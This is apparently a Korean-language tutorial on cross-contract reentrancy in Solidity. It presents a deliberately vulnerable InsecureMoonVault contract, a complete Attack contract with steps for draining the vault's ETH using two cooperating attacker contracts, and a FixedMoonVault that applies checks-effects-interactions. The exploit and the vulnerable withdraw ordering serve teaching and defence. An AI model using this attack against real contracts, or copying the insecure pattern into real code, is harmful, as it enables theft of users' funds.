번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
Cross-Contract-Reentrancy은 일반적으로 여러 Contract가 동일한 상태 변수를 공유하고 일부 Contract가 해당 변수를 안전하지 않게 업데이트할 때 발생합니다. 이러한 유형의 Reentrancy는 발견하기 어려운 경우가 많기 때문에 복잡한 문제로 간주될 수 있습니다.
InsecureMoonVault Contract와 FixedMoonVault Contract에 필요한 abstract Contract와 dependencies 입니다.
IMoonToken Interface, MoonToken Contract가 포함됩니다.
pragma solidity 0.8.17;
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
interface IMoonToken {
function transferOwnership(address _newOwner) external;
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function mint(address _to, uint256 _value) external returns (bool success);
function burnAccount(address _from) external returns (bool success);
}
contract MoonToken {
uint256 private constant MAX_UINT256 = type(uint256).max;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public constant name = "MOON Token";
string public constant symbol = "MOON";
uint8 public constant decimals = 18;
uint256 public totalSupply;
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "You are not the owner");
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
function transfer(address _to, uint256 _value)
external
returns (bool success)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success) {
uint256 allowance_ = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance_ >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance_ < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
return true;
}
function balanceOf(address _owner)
external
view
returns (uint256 balance)
{
return balances[_owner];
}
function approve(address _spender, uint256 _value)
external
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
return true;
}
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function mint(address _to, uint256 _value)
external
onlyOwner // MoonVault must be the contract owner
returns (bool success)
{
balances[_to] += _value;
totalSupply += _value;
return true;
}
function burnAccount(address _from)
external
onlyOwner // MoonVault must be the contract owner
returns (bool success)
{
uint256 amountToBurn = balances[_from];
balances[_from] -= amountToBurn;
totalSupply -= amountToBurn;
return true;
}
}
transfer()
)하거나 자신의 MOON(ERC20) 토큰을 다른 Address가 양도(approve()
)할 수 있도록 승인할 수 있습니다.pragma solidity 0.8.17;
import "./Dependencies.sol";
// InsecureMoonVault must be the contract owner of the MoonToken
contract InsecureMoonVault is ReentrancyGuard {
IMoonToken public immutable moonToken;
constructor(IMoonToken _moonToken) {
moonToken = _moonToken;
}
function deposit() external payable noReentrant { // Apply the noReentrant modifier
bool success = moonToken.mint(msg.sender, msg.value);
require(success, "Failed to mint token");
}
function withdrawAll() external noReentrant { // Apply the noReentrant modifier
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
success = moonToken.burnAccount(msg.sender);
require(success, "Failed to burn token");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return moonToken.balanceOf(_user);
}
}
deposit()
, withdrawAll()
함수에 modifier을 적용하기 때문에, 두 함수 모두 재진입 공격으로 부터 안전합니다.withdrawAll()
에서 시작됩니다.일반적으로 Cross-Contract-Reentrancy 공격의 원인은 여러 컨트랙트가 동일한 상태 변수를 상호 공유하고, 그 중 일부가 해당 변수를 안전하지 않게 업데이트하기 때문에 발생합니다.
withdrawAll()
함수는 출금자에게 이더를 다시 보내기 전에 출금자의 잔액을 업데이트 하지 않습니다.
success = moonToken.burnAccount(msg.sender);
해당 구문을 업데이트 하지 않습니다.결과적으로 공격자는 “Attack[1]” Contract의 receive()
함수의 제어 흐름을 조작하여 잔액을 다른 Contract인 “Attack[2]”로 전송함으로써 Cross-Contract-Reentrancy 공격을 수행할 수 있습니다.
그 후 공격자는 “Attack[2]” Contract의 attackNext()
함수를 호출하여 다른 트랜잭션을 트리거하여 “InsecureMoonVault” Contract에서 ETH를 점진적으로 출금한 다음 Attack[2]의 잔액을 Attack[1] Contract로 이체할 수 있습니다.
이 과정을 반복하여 “InsecureMoonVault” Contract에 있는 모든 ETH를 빼냅니다.
아래 코드는 InsecureMoonVault Contract를 공격할 수 있는 Contract입니다.
pragma solidity 0.8.17;
import "./Dependencies.sol";
interface IMoonVault {
function deposit() external payable;
function withdrawAll() external;
function getUserBalance(address _user) external view returns (uint256);
}
contract Attack {
IMoonToken public immutable moonToken;
IMoonVault public immutable moonVault;
Attack public attackPeer;
constructor(IMoonToken _moonToken, IMoonVault _insecureMoonVault) {
moonToken = _moonToken;
moonVault = _insecureMoonVault;
}
function setAttackPeer(Attack _attackPeer) external {
attackPeer = _attackPeer;
}
receive() external payable {
if (address(moonVault).balance >= 1 ether) {
moonToken.transfer(
address(attackPeer),
moonVault.getUserBalance(address(this))
);
}
}
function attackInit() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
moonVault.deposit{value: 1 ether}();
moonVault.withdrawAll();
}
function attackNext() external {
moonVault.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
InsecureEtherVault Contract를 공격하려면 공격자는 2개의 Attack Contract를 배포한 후 다음 작업을 수행해야 합니다.
attack1.attackInit()
을 호출하며 1 ETH를 공급하고 출금합니다.attack2.attackNext()
을 호출하며 1 ETH를 출금합니다.attack1.attackNext()
와 attack2.attackNext()
을 사용하여 InsecureMoonVault Contract에 있는 ETH를 모두 출금합니다.첨부된 이미지처럼 공격자는 두 개의 Attack Contract에 번갈아 가며 별도의 Transaction을 생성하여 “InsecureMoonVault” Contract에 있는 ETH를 모두 출금했습니다.
checks-effects-interactions pattern을 적용하면 재진입 공격을 막을 수 있습니다.
withdrawAll()
함수를 수정하였습니다. 출금자에게 ETH를 다시 보내기 전에 출금자의 잔액이 업데이트 되도록하여 Cross-Contract-Reentrancy 공격을 방지합니다.
pragma solidity 0.8.17;
import "./Dependencies.sol";
// FixedMoonVault must be the contract owner of the MoonToken
contract FixedMoonVault is ReentrancyGuard {
IMoonToken public immutable moonToken;
constructor(IMoonToken _moonToken) {
moonToken = _moonToken;
}
function deposit() external payable noReentrant { // Apply the noReentrant modifier
bool success = moonToken.mint(msg.sender, msg.value);
require(success, "Failed to mint token");
}
function withdrawAll() external noReentrant { // Apply the noReentrant modifier
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance"); // Check
// FIX: Apply checks-effects-interactions pattern
bool success = moonToken.burnAccount(msg.sender); // Effect (call to trusted external contract)
require(success, "Failed to burn token");
(success, ) = msg.sender.call{value: balance}(""); // Interaction
require(success, "Failed to send Ether");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return moonToken.balanceOf(_user);
}
}